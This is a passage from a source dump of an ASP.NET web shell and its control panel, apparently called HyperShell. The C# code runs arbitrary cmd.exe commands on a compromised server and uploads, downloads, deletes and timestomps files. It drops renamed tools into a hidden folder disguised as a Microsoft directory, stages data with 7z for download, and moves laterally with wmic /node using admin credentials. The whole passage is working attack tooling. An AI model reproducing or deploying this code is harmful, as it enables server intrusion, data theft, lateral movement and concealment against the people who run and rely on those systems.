lastUpdateTime = saveTime;\r\n                    //}\r\n                }\r\n                os.Close();\r\n                s.Close();\r\n\r\n                //DownloadUpdateStatus(localPath, downloadguid, DownloadStatus.Complete, StartDate, lastUpdateTime, DateTime.Now, fileSize, totalGet, lastUpdateSize);\r\n                DownloadUpdateStatus(localPath, downloadguid, DownloadStatus.Complete, StartDate, fileSize, totalGet);\r\n\r\n                ret = (string.Format(\"File \\\"{0}\\\" successfuly downloaded : \\\"{1}\\\"\", Path.GetFileName(localPath), localPath));\r\n\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n\r\n            return ret;\r\n        }\r\n        void downloadTest(NameValueCollection t)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                ret = SendRequest(url, t);\r\n                if (!ret.ToLower().StartsWith(\"error\"))\r\n                {\r\n                    string filePath = DownloadLocation;\r\n                    filePath = CheckDirectory(url, filePath);\r\n\r\n                    string filename = Path.GetFileName(unpack(t[\"don\"]));\r\n                    string localPath = filePath + filename;\r\n                    int fileIndex = 1;\r\n                    while (File.Exists(localPath))\r\n                    {\r\n                        localPath = filePath + Path.GetFileNameWithoutExtension(filename) + \"(\" + (fileIndex++) + \")\" + Path.GetExtension(filename);\r\n                    }\r\n\r\n                    CreateEmptyFile(localPath);\r\n                    string downloadguid = Guid.NewGuid().ToString();\r\n                    DownloadUpdateStatus(localPath, downloadguid, DownloadStatus.Requested, DateTime.Now, 0, 0);\r\n                    ret = string.Format(\"{{\\\"message\\\":\\\"{0}\\\",\\\"localPath\\\":\\\"{1}\\\",\\\"downloadguid\\\":\\\"{2}\\\"}}\", tb(ret), tb(localPath), tb(downloadguid));\r\n                }\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n        void download(string don, string isdelete, string localPath, string downloadguid)\r\n        {\r\n            string ret = \"true\";\r\n\r\n            try\r\n            {\r\n                ret = DownLoadFileByWebRequest(url, localPath, downloadguid, new NameValueCollection() {\r\n                    { \"m\", ((int)method.download).ToString()},\r\n                    { \"p\", p},\r\n                    { \"don\", don}\r\n                });\r\n\r\n                if (isdelete.ToLower() == \"true\")\r\n                {\r\n                    string cmd = \"del \\\"\" + don + \"\\\" 2>&1\";\r\n                    ret += Environment.NewLine + SendRequest(url, new NameValueCollection() {\r\n                        { \"m\", tb(((int)method.command).ToString())},\r\n                        { \"p\", tb(p)},\r\n                        { \"cmd\", tb(cmd)}\r\n                    });\r\n                }\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            //responseAjax(ret);\r\n        }\r\n        void checkDownloadProgress(string downloadguid, string lastsizestr, string lasttimestr)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                string status = \"NotSet\";\r\n                double Percent = 0;\r\n                string Size = \"-\";\r\n                string Speed = \"-\";\r\n                string Remain = \"-\";\r\n                long LastSize = long.Parse(lastsizestr);\r\n                DateTime Now = DateTime.Now;\r\n                DateTime LastTime = Now;\r\n                if (lasttimestr != \"0\")\r\n                    LastTime = DateTime.Parse(lasttimestr);\r\n\r\n                if (Session[downloadguid] != null)\r\n                {\r\n                    NameValueCollection data = (NameValueCollection)Session[downloadguid];\r\n                    status = data[\"status\"];\r\n\r\n                    if (status != DownloadStatus.Requested.ToString())\r\n                    {\r\n                        DateTime timeStart = DateTime.Parse(data[\"startdate\"]);\r\n                        long total = long.Parse(data[\"totalsize\"]);\r\n                        long get = long.Parse(data[\"downloadedsize\"]);\r\n\r\n                        Percent = Math.Round(((double)get / total) * 100, 2);\r\n                        Size = sizeFix(get) + \" of \" + sizeFix(total);\r\n\r\n                        double diff = 1;\r\n                        if (lasttimestr == \"0\")\r\n                            diff = (Now - timeStart).TotalSeconds;\r\n                        else\r\n                            diff = (Now - LastTime).TotalSeconds;\r\n\r\n                        double s = (double)((get - LastSize) / diff);\r\n                        Speed = sizeFix((long)s, true) + \"/sec\";\r\n                        if (status == DownloadStatus.Complete.ToString())\r\n                        {\r\n                            Remain = timeFix((long)(Now - timeStart).TotalMilliseconds);\r\n                            Session.Remove(downloadguid);\r\n                        }\r\n                        else\r\n                            Remain = timeFix((long)((total - get) / s * 1000)) + \" left\";\r\n\r\n                        lastsizestr = get.ToString();\r\n                        lasttimestr = Now.ToString(\"yyyy-MM-dd HH:mm:ss.fff\");\r\n                    }\r\n                }\r\n\r\n                ret = string.Format(\"{{\\\"status\\\":\\\"{0}\\\",\\\"percent\\\":\\\"{1}\\\",\\\"size\\\":\\\"{2}\\\",\\\"speed\\\":\\\"{3}\\\",\\\"remain\\\":\\\"{4}\\\",\\\"lastsize\\\":\\\"{5}\\\",\\\"lasttime\\\":\\\"{6}\\\"}}\", status, Percent, Size, Speed, Remain, tb(lastsizestr), tb(lasttimestr));\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n\r\n        #region [ Modules ]\r\n        string moduleFolder = @\"C:\\ProgramData\\Microsoft\\SettingsTools\\\";\r\n        KeyValueConfigurationCollection ModuleFileName = new KeyValueConfigurationCollection() {\r\n            { ModuleName.mdl7z.ToString(),\"7za.exe\"},\r\n            { ModuleName.mdlrx.ToString(),\"rx.exe\"},\r\n            { ModuleName.mdlnbt.ToString(),\"nbt.exe\"},\r\n            { ModuleName.mdlhb.ToString(),\"hb.exe\"},\r\n            { ModuleName.mdltar2.ToString(),\"tar-2.exe\"},\r\n            { ModuleName.mdltar4.ToString(),\"tar-4.exe\"}\r\n        };\r\n        KeyValueConfigurationCollection ModuleFileNameTarget = new KeyValueConfigurationCollection() {\r\n            { ModuleName.mdl7z.ToString(),\"fqrzb.exe\"},\r\n            { ModuleName.mdlrx.ToString(),\"nhrf.exe\"},\r\n            { ModuleName.mdlnbt.ToString(),\"qbtup.exe\"},\r\n            { ModuleName.mdlhb.ToString(),\"tysrr.exe\"},\r\n            { ModuleName.mdltar2.ToString(),\"ghdfg.exe\"},\r\n            { ModuleName.mdltar4.ToString(),\"tyruee.exe\"}\r\n        };\r\n        enum ModuleName\r\n        {\r\n            mdl7z,\r\n            mdlrx,\r\n            mdlnbt,\r\n            mdlhb,\r\n            mdltar2,\r\n            mdltar4\r\n        };\r\n        void checkModules()\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n\r\n                string dirModule = SendRequest(url, new NameValueCollection() {\r\n                    { \"m\", tb(((int)method.command).ToString())},\r\n                    { \"p\", tb(p)},\r\n                    { \"cmd\", tb(string.Format(\"dir \\\"{0}\\\"\",moduleFolder))}\r\n                });\r\n\r\n                ret = \"{\\\"modules\\\":[\";\r\n                string mdlList = string.Empty;\r\n\r\n                foreach (string name in Enum.GetNames(typeof(ModuleName)))\r\n                {\r\n                    if (dirModule.Contains(ModuleFileNameTarget[name].Value))\r\n                    {\r\n                        if (!string.IsNullOrEmpty(mdlList))\r\n                            mdlList += \",\";\r\n                        mdlList += string.Format(\"\\\"{0}\\\"\", name);\r\n                    }\r\n                }\r\n\r\n                ret += mdlList + \"]}\";\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n\r\n        // the Old server side installModule\r\n        //void installModule(HttpPostedFile mfile, string mname)\r\n        //{\r\n        //    string ret = \"Error : -\";\r\n        //    try\r\n        //    {\r\n        //        if (!System.IO.Directory.Exists(moduleFolder))\r\n        //        {\r\n        //            System.IO.DirectoryInfo di = System.IO.Directory.CreateDirectory(moduleFolder);\r\n        //            di.Attributes = System.IO.FileAttributes.Directory | System.IO.FileAttributes.Hidden;\r\n        //        }\r\n\r\n        //        string name = string.Empty;\r\n        //        string path = string.Empty;\r\n        //        if (mname == \"mdl7z\")\r\n        //        {\r\n        //            name = \"7z\";\r\n        //            path = moduleFolder + \"\\\\z.exe\";\r\n        //        }\r\n        //        else if (mname == \"mdlrx\")\r\n        //        {\r\n        //            name = \"rx\";\r\n        //            path = moduleFolder + \"\\\\r.exe\";\r\n        //        }\r\n        //        else if (mname == \"mdlnbt\")\r\n        //        {\r\n        //            name = \"nbt\";\r\n        //            path = moduleFolder + \"\\\\n.exe\";\r\n        //        }\r\n        //        else if (mname == \"mdlhb\")\r\n        //        {\r\n        //            name = \"hb\";\r\n        //            path = moduleFolder + \"\\\\h.exe\";\r\n        //        }\r\n\r\n        //        mfile.SaveAs(path);\r\n        //        ret = \"Module '\" + name + \"' installed successfuly.\";\r\n        //    }\r\n        //    catch (Exception e)\r\n        //    {\r\n        //        ret = \"Error : \" + e.Message;\r\n        //    }\r\n        //    response(ret);\r\n        //}\r\n        void installModule(string moduleName)\r\n        {\r\n            string ret = \"Error : -\";\r\n\r\n            try\r\n            {\r\n                string targetFileName = string.Empty;\r\n                string filePath = Server.MapPath(string.Empty) + \"\\\\files\\\\\";\r\n\r\n                filePath += ModuleFileName[moduleName].Value;\r\n                targetFileName = ModuleFileNameTarget[moduleName].Value;\r\n\r\n                if (!string.IsNullOrEmpty(targetFileName))\r\n                {\r\n                    List<KeyValuePair<string, string>> formData = new List<KeyValuePair<string, string>>();\r\n                    formData.Add(new KeyValuePair<string, string>(\"uploadPath\", moduleFolder + targetFileName));\r\n                    formData.Add(new KeyValuePair<string, string>(\"m\", ((int)method.upload).ToString()));\r\n                    formData.Add(new KeyValuePair<string, string>(\"p\", p));\r\n\r\n                    using (Stream fStream = File.OpenRead(filePath))\r\n                    {\r\n                        ret = UploadFile(fStream, Path.GetFileName(filePath), \"uploadFile\", formData);\r\n                        if (ret.Contains(\"successfully\"))\r\n                            ret = \"Module '\" + moduleFolder + targetFileName + \"' installed successfuly.\";\r\n                    }\r\n                }\r\n                else\r\n                    ret = \"Error : Module name is invalid\";\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n        //void uninstallModule(string mname)\r\n        //{\r\n        //    string ret = \"Error : -\";\r\n        //    try\r\n        //    {\r\n        //        string name = string.Empty;\r\n        //        string path = string.Empty;\r\n        //        if (mname == \"mdl7z\")\r\n        //        {\r\n        //            name = \"7z\";\r\n        //            path = moduleFolder + \"\\\\z.exe\";\r\n        //        }\r\n        //        else if (mname == \"mdlrx\")\r\n        //        {\r\n        //            name = \"rx\";\r\n        //            path = moduleFolder + \"\\\\r.exe\";\r\n        //        }\r\n        //        else if (mname == \"mdlnbt\")\r\n        //        {\r\n        //            name = \"nbt\";\r\n        //            path = moduleFolder + \"\\\\n.exe\";\r\n        //        }\r\n\r\n        //        System.IO.File.Delete(path);\r\n        //        ret = \"Module '\" + name + \"' uninstalled successfuly.\";\r\n        //    }\r\n        //    catch (Exception e)\r\n        //    {\r\n        //        ret = \"Error : \" + e.Message;\r\n        //    }\r\n\r\n        //    response(ret);\r\n        //}\r\n        void uninstallModule(string moduleName)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                string modulePath = moduleFolder + ModuleFileNameTarget[moduleName].Value;\r\n                SendRequest(url, new NameValueCollection() {\r\n                    { \"m\", tb(((int)method.command).ToString())},\r\n                    { \"p\", tb(p)},\r\n                    { \"cmd\", tb(string.Format(\"del \\\"{0}\\\"\",modulePath))}\r\n                });\r\n                string dirModule = SendRequest(url, new NameValueCollection() {\r\n                    { \"m\", tb(((int)method.command).ToString())},\r\n                    { \"p\", tb(p)},\r\n                    { \"cmd\", tb(string.Format(\"dir \\\"{0}\\\" 2>&1\",modulePath))}\r\n                });\r\n                if (dirModule.Contains(\"File Not Found\"))\r\n                    ret = \"Module '\" + modulePath + \"' uninstalled successfuly.\";\r\n                else\r\n                    ret = \"Error : Cannot uninstall module : \" + modulePath;\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n        #endregion\r\n\r\n        void cmd7z(string clevel, string address7z, string files, string volumSize, string vMode, string exclude)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                string exludeStr = string.Empty;\r\n                if (!string.IsNullOrEmpty(exclude))\r\n                {\r\n                    string[] temp = exclude.Split(',');\r\n                    foreach (string item in temp)\r\n                    {\r\n                        exludeStr += \" -xr!\" + item;\r\n                    }\r\n                }\r\n                ret = SendRequest(url, new NameValueCollection() {\r\n                { \"m\", tb(((int)method.command).ToString())},\r\n                { \"p\", tb(p)},\r\n                { \"cmd\", tb(string.Format(\"{0} {1} a \\\"{2}\\\" {3}{4}{5} 2>&1\",\r\n                    moduleFolder + ModuleFileNameTarget[ModuleName.mdl7z.ToString()].Value,\r\n                    clevel,\r\n                    address7z,\r\n                    files,\r\n                    (string.IsNullOrEmpty(volumSize) ? \"\" : \"-v\" + volumSize + vMode),\r\n                    exludeStr\r\n                    )\r\n                )}\r\n            });\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n        string SendRequest(string url, NameValueCollection values)\r\n        {\r\n            string response = string.Empty;\r\n\r\n            string param = string.Empty;\r\n\r\n            foreach (var item in values.AllKeys)\r\n            {\r\n                if (!string.IsNullOrEmpty(param))\r\n                    param += \"&\";\r\n                param += item + \"=\" + System.Web.HttpUtility.UrlEncode(isAjax ? values[item] : tb(values[item]));\r\n            }\r\n\r\n            using (WebClient wc = new WebClient())\r\n            {\r\n                ServicePointManager.ServerCertificateValidationCallback = (a, b, c, d) => true;\r\n                wc.Headers[HttpRequestHeader.ContentType] = \"application/x-www-form-urlencoded\";\r\n                response = fb(wc.UploadString(url, param));\r\n            }\r\n\r\n            return response;\r\n        }\r\n        public static void CreateEmptyFile(string filename)\r\n        {\r\n            File.Create(filename).Dispose();\r\n        }\r\n        string sizeFix(long size, bool round = false)\r\n        {\r\n            double s = size;\r\n            if (s < 1024)\r\n                return s + \"B\";\r\n            s = s / 1024;\r\n            if (s < 1024)\r\n                return (round ? (int)s : Math.Round(s, 2)) + \"KB\";\r\n            s = s / 1024;\r\n            if (s < 1024)\r\n                return (round ? (int)s : Math.Round(s, 2)) + \"MB\";\r\n            s = s / 1024;\r\n            if (s < 1024)\r\n                return (round ? (int)s : Math.Round(s, 2)) + \"GB\";\r\n            s = s / 1024;\r\n            return (round ? (int)s : Math.Round(s, 2)) + \"TB\";\r\n        }\r\n        string timeFix(long msec)\r\n        {\r\n            double s = msec;\r\n            if (s < 1000) return (int)s + \" msec\";\r\n            s = s / 1000;\r\n            if (s < 60) return (int)s + \" sec\";\r\n            s = s / 60;\r\n            if (s < 60) return (int)s + \" min\";\r\n            s = s / 60;\r\n            if (s < 24) return (int)s + \" hour\";\r\n            s = s / 24;\r\n            if (s < 365) return (int)s + \" day\";\r\n            s = s / 365;\r\n            return (int)s + \" year\";\r\n        }\r\n    </script>\r\n</head>\r\n<body>\r\n    <div class=\"pusher contentPlace\" style=\"/*flex-grow: 1; flex-direction: column; display: flex; */\">\r\n        <div id=\"header\">\r\n<!-- #include file =\"js/components/loginbar.html\" -->\r\n<!-- #include file =\"js/components/adminuserpass.html\" -->\r\n<!-- #include file =\"js/components/maintab.html\" -->\r\n<!-- #include file =\"js/components/cmd.html\" -->\r\n<!-- #include file =\"js/components/explorer.html\" -->\r\n<!-- #include file =\"js/components/targetcomputer.html\" -->\r\n<!-- #include file =\"js/components/networkdownloader.html\" -->\r\n<!-- #include file =\"js/components/upload.html\" -->\r\n<!-- #include file =\"js/components/download.html\" -->\r\n<!-- #include file =\"js/components/sqlserver.html\" -->\r\n<!-- #include file =\"js/components/changetime.html\" -->\r\n<!-- #include file =\"js/components/tardigrade.html\" -->\r\n        </div>\r\n<!-- #include file =\"js/components/log.html\" -->\r\n    </div>\r\n<!-- #include file =\"js/components/downloadbox.html\" -->\r\n<!-- #include file =\"js/components/msgDeleteFile.html\" -->\r\n    <i title=\"Scroll Top\" class=\"circular large link chevron circle up icon\" style=\"right: 10px; bottom: 10px; position: fixed; z-index: 3333; background-color: #fff\" onclick=\"$('html, body').animate({ scrollTop: 0 }, 500);\"></i>\r\n    <i title=\"Clear Terminal\" class=\"circular large link paint brush icon\" style=\"right: 65px; bottom: 10px; position: fixed; z-index: 3333; background-color: #fff\" onclick=\"$('#log').text('');$('#tbMain').sticky('refresh');\"></i>\r\n    <script><%= SpecialScript %></script>\r\n</body>\r\n</html>\r\n<!-- #include file =\"js/components/includes.html\" -->\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/ShellLocal-Special3/HighShellServer.aspx",
    "content": "﻿<%@ Page Language=\"C#\" ValidateRequest=\"false\" EnableViewState=\"false\" %>\r\n\r\n<%\r\ntry\r\n{\r\nNameValueCollection t=HttpContext.Current.Request.Form;\r\nmethod selectedMethod=method.auth;\r\ntry{int methodID=int.Parse(fb(t[\"m\"]));selectedMethod=(method)methodID;}catch{rm();}\r\np=fb(t[\"p\"]);\r\nadminU=fb(t[\"adminU\"]);\r\nadminP=fb(t[\"adminP\"]);\r\nif(string.IsNullOrEmpty(p)){if(HttpContext.Current.Request.Cookies[\"p\"] != null)p=fb(HttpContext.Current.Request.Cookies[\"p\"].Value);}\r\nif(selectedMethod != method.auth && selectedMethod != method.authAjax && !login(p)){rm();}\r\nswitch(selectedMethod){\r\ncase method.auth:\r\ncase method.authAjax:auth(p);break;\r\ncase method.command:\r\ncase method.commandAjax:command(fb(t[\"cmd\"]));break;\r\ncase method.upload:upload(HttpContext.Current.Request.Files[\"uploadFile\"],fb(t[\"uploadPath\"]));break;\r\ncase method.download:download(fb(t[\"don\"]),fb(t[\"isdel\"]));break;\r\ncase method.downloadTest:downloadTest(fb(t[\"don\"]));break;\r\ncase method.explorer:exp(fb(t[\"exadd\"]));break;\r\ncase method.getsize:gsize(fb(t[\"gsize\"]));break;\r\ncase method.getlocation:\r\ncase method.getlocationAjax:response(getLoc());break;\r\ncase method.rename:rename(fb(t[\"rename1\"]),fb(t[\"rename2\"]));break;\r\ncase method.copy:copy(fb(t[\"copy1\"]),fb(t[\"copy2\"]));break;\r\ncase method.view:view(fb(t[\"view\"]));break;\r\ncase method.delete:delete(fb(t[\"delete\"]));break;\r\ncase method.multiDelete:multiDelete(fb(t[\"delete\"]));break;\r\ncase method.changeTime:changeTime(fb(t[\"timeh\"]),fb(t[\"tfil\"]),fb(t[\"ttar\"]),fb(t[\"ttim\"]));break;\r\ndefault:break;\r\n}\r\n}\r\ncatch(Exception ex){response(\"Error : \"+ex.Message);}\r\n%>\r\n<script runat=\"server\">\r\n    enum method{auth=0,command=1,upload=2,uploadbase64=3,delete=4,download=5,changeTime=6,sqlQuery=7,explorer=8,getsize=9,getlocation=10,rename=11,copy=12,view=13,commandAjax=14,downloadTest=15,checkModules=16,installModule=17,uninstallModule=18,cmd7z=19,authAjax=20,getlocationAjax=21,multiDelete=24};\r\n    string salt=\"zpT27yKM#a6xQ2#Yj4JB6VS3Qcl8U^*zMVR3MuVuVjWTgI1LeM4mFyHHAT^OnF#*\";\r\n    string p,adminU,adminP;\r\n    bool aut=false;\r\n    string pp=\"+Zgi2BaVbaVAFH6LqpHFtrjfMxPgYpLbt6RmxkDda6k=\";\r\n    string a(string a,string b){return string.IsNullOrEmpty(a)?b:a;}\r\n    string tb(string a){string ret=\"\";try{ret=string.IsNullOrEmpty(a)?a:Convert.ToBase64String(Encoding.UTF8.GetBytes(a));}catch{}return ret;}\r\n    string fb(string a){string ret=\"\";try{ret=string.IsNullOrEmpty(a)?a:Encoding.UTF8.GetString(Convert.FromBase64String(a));}catch{}return ret;}\r\n    void rm(){Response.Redirect(Request.Url.AbsolutePath.Substring(0,Request.Url.AbsolutePath.LastIndexOf(\"/\")+1)+\" \"+Request.Url.AbsolutePath.Substring(Request.Url.AbsolutePath.LastIndexOf(\"/\")+1));}\r\n    void auth(string p){\r\n        string ret=string.Empty;\r\n        try {\r\n            ret = string.Format(\"{{\\\"auth\\\":\\\"{0}\\\",\\\"loc\\\":\\\"{1}\\\"}}\", login(p).ToString(),tb(getLoc()));\r\n        } catch(Exception e){\r\n            ret =\"Error : \"+e.Message;\r\n        }\r\n        response(ret);\r\n    }\r\n    bool login(string p){bool aut=false;try{if(!string.IsNullOrEmpty(p)){aut=Convert.ToBase64String(new System.Security.Cryptography.SHA256CryptoServiceProvider().ComputeHash(Encoding.ASCII.GetBytes(p+salt)))==pp;}}catch(Exception e){response(e.Message);}return aut;}\r\n    void command(string cmd){string ret=\"Error : -\";try{string o=exec(cmd);o=o.Remove(0,o.IndexOf(Environment.NewLine)+2);o=o.Remove(0,o.IndexOf(Environment.NewLine)+2);o=o.Remove(0,o.IndexOf(Environment.NewLine));o=o.Remove(o.LastIndexOf(Environment.NewLine));o=o.Remove(o.LastIndexOf(Environment.NewLine)+2);ret=HttpUtility.HtmlEncode(o);}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\n    void upload(HttpPostedFile uploadFile,string uploadPath)\r\n    {\r\n        string ret=\"Error : -\";\r\n        try {\r\n            if (System.IO.Path.IsPathRooted(uploadPath))\r\n            {\r\n                string FileName = System.IO.Path.GetFileName(uploadFile.FileName);\r\n                string FilePath = uploadPath.TrimEnd('\\\\') + \"\\\\\";\r\n                if (string.IsNullOrEmpty(System.IO.Path.GetExtension(uploadPath)))\r\n                {\r\n                    if (!System.IO.Directory.Exists(uploadPath))\r\n                    {\r\n                        if (!string.IsNullOrEmpty(System.IO.Path.GetFileName(uploadPath)))\r\n                        {\r\n                            FileName = System.IO.Path.GetFileName(uploadPath);\r\n                            FilePath = System.IO.Path.GetDirectoryName(uploadPath) + \"\\\\\";\r\n                        }\r\n                    }\r\n                }\r\n                else\r\n                {\r\n                    FileName = System.IO.Path.GetFileName(uploadPath);\r\n                    FilePath = System.IO.Path.GetDirectoryName(uploadPath) + \"\\\\\";\r\n                }\r\n\r\n                if (!System.IO.Directory.Exists(FilePath))\r\n                    System.IO.Directory.CreateDirectory(FilePath);\r\n\r\n                uploadFile.SaveAs(FilePath + FileName);\r\n                ret =\"File uploaded successfully : \"+ FilePath + FileName;\r\n            }\r\n            else\r\n                ret=\"Error : The path is not current format \\\"\"+uploadPath+\"\\\"\";\r\n\r\n        } catch(Exception ex){\r\n            ret =\"Error : \"+ex.Message;\r\n        }\r\n        response(ret);\r\n    }\r\n    string getLoc(){return Server.MapPath(string.Empty)+\"\\\\\";}\r\n    void downloadTest(string don)\r\n    {\r\n        string ret = \"Error : -\";\r\n        try\r\n        {\r\n            if (!string.IsNullOrEmpty(don))\r\n            {\r\n                using (System.IO.Stream stream = new System.IO.FileStream(don, System.IO.FileMode.Open))\r\n                {\r\n                    ret = string.Format(\"File '{0}' is ready for download\", don);\r\n                }\r\n            }\r\n        }\r\n        catch (Exception e)\r\n        {\r\n            ret = \"Error : \" + e.Message;\r\n        }\r\n        response(ret);\r\n    }\r\n    void download(string don, string isdel)\r\n    {\r\n        string ret=\"Error : -\";\r\n        try {\r\n            if (!string.IsNullOrEmpty(don)){\r\n                System.Web.HttpResponse response = System.Web.HttpContext.Current.Response;\r\n                response.ClearContent();\r\n                response.Clear();\r\n                response.ClearHeaders();\r\n                response.ContentType = \"application/octet-stream\";\r\n                response.AppendHeader(\"Content-Disposition\", \"attachment;size=\"+new System.IO.FileInfo(don).Length+\";filename=\" + HttpUtility.UrlEncode(tb(System.IO.Path.GetFileName(don))));\r\n                response.WriteFile(don);\r\n                response.Flush();\r\n                Response.SuppressContent = true;\r\n                ApplicationInstance.CompleteRequest();\r\n            }\r\n        }\r\n        catch(Exception e)\r\n        {\r\n            ret = \"Error : \" + e.Message;\r\n            response(ret);\r\n        }\r\n    }\r\n    string exec(string cmd){string pro=\"\";System.Diagnostics.Process n=new System.Diagnostics.Process();n.StartInfo.FileName=(string.IsNullOrEmpty(pro)?\"cmd.exe\":pro);n.StartInfo.UseShellExecute=false;n.StartInfo.RedirectStandardInput=true;n.StartInfo.RedirectStandardOutput=true;n.StartInfo.RedirectStandardError=true;n.StartInfo.CreateNoWindow=true;string o=null;n.Start();n.StandardInput.WriteLine(cmd);n.StandardInput.WriteLine(\"exit\");o=n.StandardOutput.ReadToEnd();n.WaitForExit();n.Close();return o;}\r\n    void gsize(string addr){string ret=\"Error : -\";try{hasErrorInGetSize=false;long size=GetDirSize(new System.IO.DirectoryInfo(addr));ret=sizeFix(size);if(hasErrorInGetSize && sizelvl==0)ret=sizeError;else if(hasErrorInGetSize)ret=\"!\"+ret;}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\n    void view(string path){string ret=\"You are viewing the contents of this file : \"+path+Environment.NewLine;try{ret+=System.IO.File.ReadAllText(path);}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(HttpUtility.HtmlEncode(ret));}\r\n    void delete(string path){\r\n        string ret=\"Error : -\";\r\n        try {\r\n            System.IO.File.Delete(path);\r\n            ret =string.Format(\"{{\\\"message\\\":\\\"{0}\\\",\\\"dirInfo\\\":\\\"{1}\\\"}}\",tb(string.Format(\"File '{0}' successfuly deleted{1}\",path,Environment.NewLine)),tb(getDirectoryInfo(System.IO.Path.GetDirectoryName(path))));\r\n        } catch(Exception ex){\r\n            ret =\"Error : \"+ex.Message;\r\n        }\r\n        response(ret);\r\n    }\r\n    void multiDelete(string files)\r\n    {\r\n        string ret=\"Error : -\";\r\n        try{\r\n\r\n            string[] f = files.Split('|');\r\n            ret = string.Format(\"All '{0}' files successfuly deleted.\", f.Length);\r\n            foreach (string item in f)\r\n            {\r\n                System.IO.File.Delete(fb(item));\r\n            }\r\n\r\n        }catch (Exception ex){\r\n            ret =\"Error : \"+ex.Message;\r\n        }\r\n        response(ret);\r\n    }\r\n    void rename(string oldName,string newName){string ret=\"Error : -\";try{if(newName.EndsWith(\"\\\\\"))newName+=System.IO.Path.GetFileName(oldName);System.IO.File.Move(oldName,newName);ret=string.Format(\"{{\\\"message\\\":\\\"{0}\\\",\\\"dirInfo\\\":\\\"{1}\\\"}}\",tb(string.Format(\"File '{0}' successfuly moved to '{1}'{2}\",oldName,newName,Environment.NewLine)),tb(getDirectoryInfo(System.IO.Path.GetDirectoryName(oldName))));}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\n    void copy(string oldName,string newName){string ret=\"Error : -\";try{if(newName.EndsWith(\"\\\\\"))newName+=System.IO.Path.GetFileName(oldName);System.IO.File.Copy(oldName,newName);ret=string.Format(\"{{\\\"message\\\":\\\"{0}\\\",\\\"dirInfo\\\":\\\"{1}\\\"}}\",tb(string.Format(\"File '{0}' successfuly copied to '{1}'{2}\",oldName,newName,Environment.NewLine)),tb(getDirectoryInfo(System.IO.Path.GetDirectoryName(oldName))));}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\n    string getDirectoryInfo(string address)\r\n    {\r\n        string ret=\"Error : -\";\r\n        try {\r\n            if (address.ToLower()==\"root\"){\r\n                ret =\"{\\\"dir\\\":[{\\\"name\\\":\\\"\\\\\\\\\\\\\\\\localhost\\\"}\";\r\n                string netUse=exec(\"net use\");\r\n                string[] lines=netUse.Split(new string[]{Environment.NewLine },StringSplitOptions.RemoveEmptyEntries);\r\n                foreach (string item in lines){\r\n                    if (item.ToLower().StartsWith(\"ok\")){\r\n                        int index=item.IndexOf(\"\\\\\\\\\");\r\n                        ret +=\",{\\\"name\\\":\\\"\\\\\\\\\"+item.Substring(index,item.IndexOf('\\\\',index+2)-index)+\"\\\"}\";\r\n                    }\r\n                }\r\n                ret +=\"]}\";\r\n            } else{\r\n                if (address.StartsWith(\"\\\\\\\\\")&& address.Trim('\\\\').Split('\\\\').Length==1){\r\n                    string tmp=address.ToLower().TrimEnd('\\\\');\r\n                    if (tmp==\"\\\\\\\\localhost\"){\r\n                        ret =\"{\\\"dir\\\":[\";\r\n                        bool isStart=false;\r\n                        foreach (System.IO.DriveInfo item in System.IO.DriveInfo.GetDrives()){\r\n                            if (item.IsReady){\r\n                                if (isStart)\r\n                                    ret +=\",\";\r\n                                ret +=string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"totalSize\\\":\\\"{1}\\\",\\\"freeSpace\\\":\\\"{2}\\\",\\\"sizeText\\\":\\\"{3}\\\",\\\"format\\\":\\\"{4}\\\",\\\"type\\\":\\\"{5}\\\"}}\",item.Name.TrimEnd('\\\\').TrimEnd(':')+\"$\",item.TotalSize,item.TotalFreeSpace,\"[\"+sizeFix(item.TotalFreeSpace)+\"] free of [\"+sizeFix(item.TotalSize)+\"]\",item.DriveFormat,item.DriveType);\r\n                                isStart =true;\r\n                            }\r\n                        }\r\n                        ret +=\"]}\";\r\n                    } else{\r\n                        if (!string.IsNullOrEmpty(adminU)&& !string.IsNullOrEmpty(adminP)){\r\n                            string strWC=@\"wmic /node:{0} /user:{1} /password:{2} process call create \"\"cmd.exe /c > c:\\windows\\temp\\KMSHFX0023{3}.tmp 2>&1 wmic logicaldisk get {4}\"\" 2>&1\";\r\n                            string strWF=@\"\\\\{0}\\c$\\windows\\temp\\KMSHFX0023{1}.tmp\";\r\n                            string strWD=@\"del {0} 2>&1\";\r\n                            tmp =tmp.TrimStart('\\\\');\r\n                            exec(string.Format(strWC,tmp,adminU,adminP,1,\"Caption\"));\r\n                            exec(string.Format(strWC,tmp,adminU,adminP,2,\"FileSystem\"));\r\n                            exec(string.Format(strWC,tmp,adminU,adminP,3,\"Size\"));\r\n                            exec(string.Format(strWC,tmp,adminU,adminP,4,\"FreeSpace\"));\r\n                            exec(string.Format(strWC,tmp,adminU,adminP,5,\"Description\"));\r\n                            